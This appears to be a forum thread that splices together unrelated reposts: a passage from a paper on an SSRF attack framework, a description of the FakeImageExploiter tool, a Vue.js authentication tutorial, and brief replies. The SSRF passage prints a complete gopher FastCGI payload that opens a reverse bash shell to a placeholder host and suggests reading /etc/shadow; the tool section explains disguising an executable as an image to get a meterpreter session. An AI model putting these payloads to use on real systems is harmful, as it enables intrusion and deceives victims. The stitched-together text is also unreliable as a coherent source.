http://example.com user-agent:Chrome user-agent:Python URLlib Figure 5:Add UA through CRLF Some server might reject HPP request, while other accept. After extending request method and parameters, we can set HTTP proxy for other tools. Face to large amount of requests, we decide to enable multi-thread to handle requests. 2.5.2 Debate: Whether we should filter data from the proxy In many cases, the target would not return the same data when they fetch response from SSRF vector. Consider following code: <?php { $content = file_get_contents($_GET['url']); echo 'We visited: '.$_GET['url']; } echo $content; ?> Figure6: Sample PHP code The response would not only return content, but an extra line We visited: <current URL> . This line is not supposed to be occurred from the SSRF vector’s response. Those tools using our proxy might not get the most accuracy response, but we still believe that it’s necessary to keep these extra context. Extra context typically brings us extra attack surface. Let’s look back Figure 6. The page will echo a user-controlled data without filtering. And this cause a reflected XSS. Attacker can put http://evil.com/<script>alert(1)</script> to validate it. To conclude, eliminating extra contexts is not good for discovering extra attack surface. 2.6 Error Based SSRF Exploitation Attacker cannot get content from error based SSRF. Consequently, it is unlikely to use other tools helping us get data. What we only know is whether the server has successfully accessed a URL. It means that neither can we use vulnerabilities in response bodies nor the interactive payloads. Therefore, only by requesting specific path can we infer the Web service or framework. These paths are unique in different Web framework or service. For instance, if we can access path /jmx-console/ , /invoker/JMXInvokerServlet, the host has a high possibility of running JBOSS. If we can confirm a host’s framework, it give us a chance to use a public payloads to attack it. However, the payload can only be GET or POST method, otherwise we cannot send correct request. And during the exploiting process, the payload does not need to use content from the server’s response. Although we give a whole lot restrictions, there are still many exploitable payloads in error based SSRF [8]: Bug IDDescriptionS2–045Struts Deserialization VulnerabilityPACKETSTORM:131185JBoss JMXInvokerServlet Remote Command ExecutionN/ACounchDB WEB API Remote Command ExecutionS2–048Struts Remote Command Execution Figure 7: Sample vulnerabilities Of course, these payloads can also be applied to context based SSRF. Although server cannot send back context it self, we can use let the server do DNS or HTTP request to take out data from the vulnerable server. 2.7 Using Non-HTTP Protocols to Exploit 2.7.1 File Protocol We have detected a number of protocols in the previous part. Besides hacking the Intranet, SSRF give us chances to access server’s file system directly. We can try fetching /etc/passwd and /etc/shadow. Moreover, attackers can access /proc to get other sensitive information like running application, machine hardware details, and so on. The SSRF attack framework stores a list of the location of sensitive files, and uses them as SSRF vector to get as much information as possible. 2.7.2 Gopher Protocol Composing gopher and SSRF is like giving attacker a proxy with few restriction. Gopher gives attackers maximum extent of interacting different protocols, because it accepts URL encode (so it’s possible to have CSRF injection) and does not have any headers or response body (there won’t be any HPP). If we find text based protocol like Redis or Fast-CGI, we can construct special gopher request to attack them. For instance, if our scanner detects a Fast-CGI service in the port 9000 of intranet host 192.168.0.5. Then, we can use following payload in our SSRF vector: gopher://192.168.0.5:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR192.168.0.5%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/YourHost/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00 It’s obvious that manually constructing a payload is complicated. The attack framework helps attacker generate and encode payloads by auto-encoding, keyword replacing, and vulnerabilities detecting. 3 Result and Discussion We use several Python Libs (socketsever, urllib, httpserver, random, time, re ) to implement the tool. It can detect and exploit properly as previous chapter proposes. However, the proxy will delay 1 second more than the direct request, this might prolong the scanning time for scanners. Also, the collected fingerprints are limited, some vulnerabilities might be missed in the intranet ,we still need to spend time expanding fingerprint lib. Now, we merely finish a HTTP based SSRF attack framework. In other cases that might occur SSRF, like XML parsing engine or database, we have not created a tool to support their exploitation. These special SSRF require us to use different encodes. Time based SSRF and blind SSRF can only give us limited information, we do not have an appropriate method to exploit them yet. Furthermore, we need to design API (Application Interface) for secondary development to meet different purposes. Our framework cannot recognize charsets automatically. When the response from SSRF vector needs specific charset to be displayed, browser using the proxy will show messy codes, which interfere us finding leaked information. Despite SSRF from servers, browser [10] and reverse proxy [11] have such bugs, too. We haven’t discussed them, yet. Constructing attack framework for them will be totally different (e.g. You need to change the DNS record to trick target connecting to intranet address). 4 Conclusion In this paper, we analyze different types of SSRF and methods to exploit them. What’s more, each chapter also reminds readers some possible problems such as encoding. The framework aims to help security researcher find and utilize SSRF in a simpler way. We believe more SSRF vulnerabilities will be eliminated by this tool. Source :

Use a Fake image.jpg (hide known file extensions) to exploit targets CodeName: Metamorphosis Version release: v1.3 (Stable) Author: pedro ubuntu [ r00t-3xp10it ] Distros Supported : Linux Ubuntu, Kali, Mint, Parrot OS Suspicious-Shell-Activity (SSA) RedTeam develop @2017 Legal Disclaimer: The author does not hold any responsibility for the bad use of this tool, remember that attacking targets without prior consent is illegal and punished by law. Description: This module takes one existing image.jpg and one payload.ps1 (input by user) and builds a new payload (agent.jpg.exe) that if executed it will trigger the download of the 2 previous files stored into apache2 (image.jpg + payload.ps1) and execute them. This module also changes the agent.exe Icon to match one file.jpg Then uses the spoof 'Hide extensions for known file types' method to hidde the agent.exe extension. All payloads (user input) will be downloaded from our apache2 webserver and executed into target RAM. The only extension (payload input by user) that requires to write payload to disk are .exe binaries. Exploitation: FakeImageExploiter stores all files in apache2 webroot, zips (.zip) the agent, starts apache2 and metasploit services(handler), and provides a URL to send to target (triggers agent.zip download). As soon as the victim runs our executable, our picture will be downloaded and opened in the default picture viewer, our malicious payload will be executed, and we will get a meterpreter session. But it also stores the agent (not ziped) into FakeImageExploiter/output folder if we wish to deliver agent.jpg.exe using another diferent attack vector. 'This tool also builds a cleaner.rc file to delete payloads left in target' Payloads accepted (user input): payload.ps1 (default) | payload.bat | payload.txt | payload.exe [Metasploit] "Edit 'settings' file before runing tool to use other extensions" Pictures accepted (user input): All pictures with .jpg (default) | .jpeg | .png extensions (all sizes) "Edit 'settings' file before runing tool to use other extensions" Dependencies/Limitations: xterm, zenity, apache2, mingw32[64], ResourceHacker(wine) 'Auto-Installs ResourceHacker.exe under ../.wine/Program Files/.. directorys' WARNING: To change icon manually (resource hacker bypass) edit 'settings' file. WARNING: Only under windows systems the 2º extension will be hidden (so zip it) WARNING: The agent.jpg.exe requires the inputed files to be in apache2 (local lan hack) WARNING: The agent.jpg.exe uses the powershell interpreter (does not work againts wine). WARNING: This tool will not accept payload (user input) arguments (eg nc.exe -lvp 127.0.0.1 555) WARNING: The ResourceHacker provided by this tool requires WINE to be set to windows 7 Another senarios: If you wish to use your own binary (user input - not metasploit payloads) then: 1º - Edit 'settings' file before runing tool and select 'NON_MSF_PAYLOADS=YES' 2º - Select the binary extension to use 'Remmenber to save settings file before continue' .. 3º - Run FakeImageExploiter to metamorphosis your binary (auto-storage all files in apache) .. 4º - Open new terminal and execute your binary handler to recibe connection. HINT: This funtion will NOT build a cleaner.rc The noob friendly funtion: Bypass the need to input your payload.ps1, And let FakeImageExploiter take care of building the required payload.ps1 + agent.jpg.exe and config the handler. "With this funtion active, you only need to input your picture.jpg :D" Select the binary extension to use HINT: This funtion allow users to build (ps1|bat|txt) payloads HINT: This funtion will NOT build .exe binaries "WINE is not owned by you": If you get this message it means that you are executing FakeImageExploiter as sudo and your wine installation belongs to user (is not owned by you) to bypass this issue just execute FakeImageExploiter as the wine owner. EXAMPLE: If wine its owned by spirited_wolf, execute tool without sudo EXAMPLE: If wine its owned by root, execute tool as sudo Download/Install/Config: 1º - Download framework from github git clone https://github.com/r00t-3xp10it/FakeImageExploiter.git 2º - Set files execution permitions cd FakeImageExploiter sudo chmod +x *.sh 3º - Config FakeImageExploiter settings nano settings 4º - Run main tool sudo ./FakeImageExploiter.sh Framework Banner settings file Agent(s) in windows systems Video tutorials: FakeImageExploiter [ Official release - Main funtions ]: FakeImageExploiter [ the noob friendly funtion ]: FakeImageExploiter [ bat payload - worddoc.docx agent ]: FakeImageExploiter [ txt payload - msfdb rebuild ]: Special thanks: @nullbyte | @Yoel_Macualo | @0xyg3n (SSA team menber) Credits: https://null-byte.wonderhowto.com/how-to/hide-virus-inside-fake-picture-0168183 Suspicious-Shell-Activity (SSA) RedTeam develop @2017 Source: https://github.com/r00t-3xp10it/FakeImageExploiter

Overview TL;DR: There are a ton of great JavaScript frameworks out there, and it can be a little overwhelming to keep up with them all. The learning curve for these frameworks can also be a bit steep. Vue.js is a breath of fresh air in this regard. In this tutorial, we'll see how easy it is to get up and running with a Vue.js app and how we can easily add authentication to it. Check out the repo to get the code. We are lucky to have plenty of JavaScript frameworks to choose from these days but, at the same time, it can be quite fatiguing to keep up with all of them. Some have a steep learning curve and require a lot of time for developers and their teams to become comfortable with. Others might be easy to learn, but perhaps lack some features that are crucial to a project. In either case, the level of complexity associated with learning a new framework can often hinder adoption and leave developers and teams frustrated. If you're still choosing a framework for your Single Page App (SPA), or if you just want to learn a new technology, I believe Vue.js is one of the best frameworks you can pick. I love Vue.js for its simplicity and elegance, and how I can be super productive with it without needing to spend tons of time learning. In my experience, Vue.js just works and gets out of my way when developing applications. Those are some anecdotal selling points, but let's cut to the hard facts: what exactly is Vue.js and how does it differ from other frameworks? If you're familiar with AngularJS 1.x, then Vue.js will probably look pretty familiar. In fact, Vue is heavily inspired by Angular. So what's the difference then? Essentially, Vue has a much simpler and cleaner API, is more flexible, and claims better performance. Vue.js is firstly a view layer for applications that allows for reactive data binding and composable view components, and many developers use it only for their view layers. However, when combined with other tools in the Vue ecosystem, such as vue-router, vue-resource, and vue-loader, we get all the benefits of a great SPA framework while simplicity and developer experience are maintained. What We'll Build: A Vue.js Authentication App To demonstrate how easy it is to get up and running with a full SPA using Vue, we'll build a simple app that retrieves Chuck Norris quotes from a NodeJS backend. Vue can easily be mixed with other technologies, and you can use Vue for as much or as little of your app as you wish. To demonstrate Vue's full potential though, we'll build the whole front-end SPA with Vue components and follow Vue's pattern for large-scale applications. The front-end app will be totally decoupled from the back end, and we'll make HTTP requets to RESTful endpoints on our server. We'll also demonstrate how we can easily add authentication to our Vue.js app. We'll put Login and Signup components in place to show how we can retrieve and save a user's JWT, and then send it back to the server for accessing protected endpoints. Rather than listing out how Vue implements certain features and comparing them to other frameworks, we'll let the code speak for itself. Again, if you're familiar with Angular, it will be easy to reason about Vue's features and syntax. Installation and Setup Everything we need to start our component-based Vue.js app is on NPM. To get started, let's pull down what we need by creating our package.json file and specifying the packages we need. We can take full advantage of ES6 for our Vue components, and to make that happen, we'll use Babel. We'll also bundle everything up with Webpack and use hot reloading to see changes to our modules happen immediately. If you wish, you can also use other build tools (like Browserify) instead of Webpack. // package.json ... "devDependencies": { "babel-core": "^6.1.2", "babel-loader": "^6.1.0", "babel-plugin-transform-runtime": "^6.1.2", "babel-preset-es2015": "^6.1.2", "babel-runtime": "^6.0.14", "css-loader": "^0.21.0", "style-loader": "^0.13.0", "vue-hot-reload-api": "^1.2.1", "vue-html-loader": "^1.0.0", "vue-loader": "^7.0.1", "webpack": "^1.12.3", "webpack-dev-server": "^1.12.1" }, "dependencies": { "bootstrap": "^3.3.5", "vue-resource": "^0.1.17", "vue-router": "^0.7.5", "vue": "^1.0.7" } ... Once the rest of our package.json file is in place, we can install everything. npm install To make Webpack work, we need a configuration file for it. Let's put in a file called webpack.config.js and populate it. // webpack.config.js module.exports = { // the main entry of our app entry: ['./src/index.js', './src/auth/index.js'], // output configuration output: { path: __dirname + '/build/', publicPath: 'build/', filename: 'build.js' }, module: { loaders: [ // process *.vue files using vue-loader { test: /\.vue$/, loader: 'vue' }, // process *.js files using babel-loader // the exclude pattern is important so that we don't // apply babel transform to all the dependencies! { test: /\.js$/, loader: 'babel', exclude: /node_modules/ } ] }, babel: { presets: ['es2015'], plugins: ['transform-runtime'] } } In this config file, we're first specifying where our app's main entry point is and what the output path should be. The bundled JavaScript will be served as one file called build.js. In the module.loaders array, we're setting up processing for our Vue components. These components have an extension of .vue and are processed by vue-loader. That's all the configuration we need for now. Once we have our files in place, we just need to run webpack-dev-server --inline --hot to bundle and serve everything. Setting Up the Back End We're using our trusty nodejs-jwt-authentication-sample to retrieve Chuck Norris quotes. Clone the repo wherever you like (here we're putting it in a server directory) and follow the readme for installation steps. Setting Up the Vue Components Let's get started with the actual components for our app. But first, what exactly is a Vue component and how does it work? Vue components allow us to specify a template, a script, and style rules all in one file. If you're familiar with React, this will likely be familiar. This move toward composition and splitting the app into small components is helpful for maintainence and reasoning about the app. To see how this works, let's start with the Home component. <!-- src/components/Home.vue --> <template> <div class="col-sm-6 col-sm-offset-3"> <h1>Get a Free Chuck Norris Quote!</h1> <button class="btn btn-primary" v-on:click="getQuote()">Get a Quote</button> <div class="quote-area" v-if="quote"> <h2><blockquote>{{ quote }}</blockquote></h2> </div> </div> </template> <script> export default { data() { return { quote: '' } }, methods: { getQuote() { this.$http .get('http://localhost:3001/api/random-quote', (data) => { this.quote = data; }) .error((err) => console.log(err)) } } } </script> The template is just some simple markup with a button that calls the method getQuote. We can notice some similarities to Angular in this code already. The template uses directives like v-on:click for click events, and v-if to conditionally show and hide the quote-area div. Vue also uses the double curly brace syntax for templating, which is how we take care of rendering the quoteproperty. The script area exports an object that is converted into a component constructor function by Vue. It has on it a data method and a methods object where we can register custom methods. When we want to register a data property to be used in the template, we need to do so in the data method. If we were to leave out the quote property from the returned object, that property wouldn't be rendered in the template. The getQuote method makes an HTTP request to our back end and sets the returned data on the quote property. This gives us a good idea of what Vue components look like, but this won't work quite yet because we need to set up our app's main entry point, as well as a main App component. Here's how this component will render once everything is set up: Setting Up index.js and App.vue The index.js file is the place where we set up our main imports and do other configuration like routing. Let's set up everything we'll need for the whole app right now. // src/index.js import Vue from 'vue' import App from './components/App.vue' import Home from './components/Home.vue' import SecretQuote from './components/SecretQuote.vue' import Signup from './components/Signup.vue' import Login from './components/Login.vue' import VueRouter from 'vue-router' import VueResource from 'vue-resource' Vue.use(VueResource) Vue.use(VueRouter) export var router = new VueRouter() // Set up routing and match routes to components router.map({ '/home': { component: Home }, 'secretquote': { component: SecretQuote }, '/login': { component: Login }, '/signup': { component: Signup } }) // Redirect to the home route if any routes are unmatched router.redirect({ '*': '/home' }) // Start the app on the #app div router.start(App, '#app') We're importing some components we've yet to create, as well as vue-router and vue-resource. For the app to recognize vue-router and vue-resource, we just need to call Vue.use on them. We can set up our route definitions with the simple map method on our instance of vue-router. The reason we're exporting this instance is so we can get a reference to it in our other components. <!-- src/components/App.vue --> <template> <nav class="navbar navbar-default"> <div class="container"> <ul class="nav navbar-nav"> <li><a v-link="'home'">Home</a></li> <li><a v-link="'login'">Login</a></li> <li><a v-link="'signup'">Sign Up</a></li> <li><a v-link="'secretquote'">Secret Quote</a></li> <li><a v-link="'login'">Logout</a></li> </ul> </div> </nav> <div class="container"> <router-view></router-view> </div> </template> To start out, our App component just needs a template. This top-level component has a navbar and exposes a router-view which is where our various routes will be rendered. Linking to routes is as simple as placing v-link on the anchor tags. Finally, we need to be sure to place a div with an id of app within index.html, as this is where the whole app will be exposed. <!-- index.html --> ... <body> <div id="app"></div> <script src="build/build.js"></script> </body> ... User Authentication - Login and Signup Components To log users in, we'll need to make an HTTP request to our authentication endpoint and save the JWT that is returned in localStorage. We could place this logic right within our Login component, but we should really have a service to make it more reusable. Let's create a directory called auth and provide an index.js file there. // src/auth/index.js import {router} from '../index' // URL and endpoint constants const API_URL = 'http://localhost:3001/' const LOGIN_URL = API_URL + 'sessions/create/' const SIGNUP_URL = API_URL + 'users/' export default { // User object will let us check authentication status user: { authenticated: false }, // Send a request to the login URL and save the returned JWT login(context, creds, redirect) { context.$http.post(LOGIN_URL, creds, (data) => { localStorage.setItem('id_token', data.id_token) localStorage.setItem('access_token', data.access_token) this.user.authenticated = true // Redirect to a specified route if(redirect) { router.go(redirect) } }).error((err) => { context.error = err }) }, signup(context, creds, redirect) { context.$http.post(SIGNUP_URL, creds, (data) => { localStorage.setItem('id_token', data.id_token) localStorage.setItem('access_token', data.access_token) this.user.authenticated = true if(redirect) { router.go(redirect) } }).error((err) => { context.error = err }) }, // To log out, we just need to remove the token logout() { localStorage.removeItem('id_token') localStorage.removeItem('access_token') this.user.authenticated = false }, checkAuth() { var jwt = localStorage.getItem('id_token') if(jwt) { this.user.authenticated = true } else { this.user.authenticated = false } }, // The object to be passed as a header for authenticated requests getAuthHeader() { return { 'Authorization': 'Bearer ' + localStorage.getItem('access_token') } } } Our auth service exposes methods for logging users in and out, signing them up, and checking their authentication status. Note that "logging in" is just a matter of saving the JWT that is returned by the server. These methods and properties will all be useful throughout the app. For example, we can use the user.authenticated property to conditionally show elements in the app. Implementing the Login Component The Login component will need some HTML for the user inputs and a method to call our auth service. <!-- src/components/Login.vue --> <template> <div class="col-sm-4 col-sm-offset-4"> <h2>Log In</h2> <p>Log in to your account to get some great quotes.</p> <div class="alert alert-danger" v-if="error"> <p>{{ error }}</p> </div> <div class="form-group"> <input type="text" class="form-control" placeholder="Enter your username" v-model="credentials.username" > </div> <div class="form-group"> <input type="password" class="form-control" placeholder="Enter your password" v-model="credentials.password" > </div> <button class="btn btn-primary" @click="submit()">Access</button> </div> </template> <script> import auth from '../auth' export default { data() { return { // We need to initialize the component with any // properties that will be used in it credentials: { username: '', password: '' }, error: '' } }, methods: { submit() { var credentials = { username: this.credentials.username, password: this.credentials.password } // We need to pass the component's this context // to properly make use of http in the auth service auth.login(this, credentials, 'secretquote') } } } </script> HTTP calls made with vue-resource require a component's context, and since we're abstracting that logic to a service, we need to pass the Login component's this context to the service. The second argument is the object with the user's credentials, and the third is the route we want to redirect to upon successfully authenticating. Note that we're using @click on our submit button here. This is a shorthand alternative to v-on:click. The Signup component is nearly identical, except it will use the signup method from the auth service to send the user's credentials to a different endpoint. Implementing the Secret Quote Component When a user successfully authenticates, they will be able to access the secret-quote route from the API. The SecretQuote component will look similar to the Home component, but we'll attach the user's JWT as an Authorization header when requests are sent. <!-- src/components/SecretQuote.vue --> <template> <div class="col-sm-6 col-sm-offset-3"> <h1>Get a Secret Chuck Norris Quote!</h1> <button class="btn btn-warning" v-on:click="getQuote()">Get a Quote</button> <div class="quote-area" v-if="quote"> <h2><blockquote>{{ quote }}</blockquote></h2> </div> </div> </template> <script> import auth from '../auth' export default { data() { return { quote: '' } }, methods: { getQuote() { this.$http .get('http://localhost:3001/api/protected/random-quote', (data) => { this.quote = data; }, { // Attach the JWT header headers: auth.getAuthHeader() }) .error((err) => console.log(err)) } }, route: { // Check the users auth status before // allowing navigation to the route canActivate() { return auth.user.authenticated } } } </script> The header is attached by providing an options object as the third argument to the HTTP request. To get the JWT header, we call the getAuthHeader method from the auth service. Since we don't want users to access this route if they are not authenticated, we can tap into vue-router's transition pipeline. Specifically, we use the canActivate hook and consult the auth service to check if the user is authenticated. If so, the route can be navigated to. Final Touches We're nearly done, but there are a couple of improvements we can make before we finish out. It would be good to conditionally show and hide menu items based on the user's auth status. To do that, we'll use v-if. <!-- src/components/App.vue --> <template> <nav class="navbar navbar-default"> <div class="container"> <ul class="nav navbar-nav"> <li><a v-link="'home'">Home</a></li> <li><a v-link="'login'" v-if="!user.authenticated">Login</a></li> <li><a v-link="'signup'" v-if="!user.authenticated">Sign Up</a></li> <li><a v-link="'secretquote'" v-if="user.authenticated">Secret Quote</a></li> <li><a v-link="'login'" v-if="user.authenticated" @click="logout()">Logout</a></li> </ul> </div> </nav> <div class="container"> <router-view></router-view> </div> </template> <script> import auth from '../auth' export default { data() { return { user: auth.user } }, methods: { logout() { auth.logout() } } } </script> The auth service sets the user's authentication status when the login or logout methods are used, but if the page is refreshed or the app closed and reopened, that status will be lost. To get around that, let's call checkLogin when the app is first loaded. // src/index.js ... import auth from './auth' // Check the users auth status when the app starts auth.checkAuth() ... Setting Global Headers When we make a request to the protected secret-quote route, we pass an options object that has the Authorization header and user's JWT access_tokenon it. If, instead, we wanted to globally set the Authorization header and not worry about setting it on each HTTP request, we could set up a global header. // src/index.js ... // Optional Vue.http.headers.common['Authorization'] = auth.getAuthHeader(); ... Aside: Using Auth0 With Your Vue.js App uth0 issues JSON Web Tokens on every login for your users. This means that you can have a solid identity infrastructure, including single sign-on, user management, support for social identity providers (Facebook, Github, Twitter, etc.), enterprise identity providers (Active Directory, LDAP, SAML, etc.) and your own database of users with just a few lines of code. We can easily set up authentication in our Vue.js apps by using the Lock Widget. Step 1: Include Auth0's Lock Widget <!-- index.html --> ... <!-- Auth0 Lock script --> <script src="//cdn.auth0.com/js/lock-7.11.1.min.js"></script> ... Step 2: Instantiate Lock in index.js // src/index.js ... // Instantiate a Lock export var lock = new Auth0Lock(YOUR_CLIENT_ID, YOUR_CLIENT_DOMAIN) ... Step 3: Call the Lock Widget from a Vue.js Component <!-- src/components/Login.vue --> <template> <div class="col-sm-4 col-sm-offset-4"> <h2>Log In</h2> <p>Log In with Auth0's Lock Widget.</p> <button class="btn btn-primary" @click="login()">Log In</button> </div> </template> <script> // Import the Lock instance import {lock} from '../index' export default { methods: { login() { // Show the Lock Widget and save the user's JWT on a successful login lock.show((err, profile, id_token) => { localStorage.setItem('profile', JSON.stringify(profile)) localStorage.setItem('id_token', id_token) }) }, logout() { // Remove the profile and token from localStorage localStorage.removeItem('profile') localStorage.removeItem('id_token') } } } </script> Important API Security Note: If you want to use Auth0 authentication to authorize API requests, note that you'll need to use a different flow depending on your use case. Auth0 idToken should only be used on the client-side. Access tokens should be used to authorize APIs. You can read more about making API calls with Auth0 here. Wrapping Up We have many great choices for SPA frameworks these days, and this can easily cause analysis paralysis. Further, it can be fatiguing to keep up with the pace of new framework development and to learn their ins and outs. I find Vue.js to be a breath of fresh air in this regard. The library and ecosystem are feature-rich, but they get out of your way as you develop your apps. I've found that the learning curve with Vue.js isn't as steep as it can be with other frameworks, and from my experience, it seems to always just work. As we saw in this tutorial, we can easily add authentication to our Vue.js apps. Also, Vue's HTTP library, vue-resource, makes it trivial to send requests with an Authorization header. I hope you'll consider Vue.js for your next project--it really is great to work with! Source: https://auth0.com/blog/build-an-app-with-vuejs/.

not working

Misca-te bai nene la alta taraba si lasa-ne ..

sunt numai politai pe aici daia nu mai e activ http://rstcenter.blogspot.ro/

deleted

deleted